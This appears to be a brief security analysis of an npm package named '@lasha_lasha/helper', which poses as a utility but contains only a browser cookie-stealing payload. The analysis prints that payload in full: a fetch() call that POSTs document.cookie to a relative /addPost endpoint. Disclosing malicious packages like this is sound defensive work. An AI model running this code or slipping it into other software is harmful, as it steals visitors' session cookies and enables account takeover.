@lasha_lasha/helper@1.0.0

Analysis

@lasha_lasha/helper@1.0.0 is a trojanized-looking utility package whose only code, index.js, is a browser-side cookie exfiltration payload. When the module is loaded into a page, it issues fetch('/addPost', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({content:'EXFIL:' + document.cookie})}) — sending the current page's document.cookie to the /addPost endpoint of whatever origin serves the script, prefixed with the literal marker 'EXFIL:'. The package has no install-time hook, no dependencies and no functional utility code; package.json contains only the default npm test stub, an empty description and no repository. The exfiltration target is a relative path (/addPost) rather than a fixed host, so the receiving endpoint is determined by the site that bundles the module.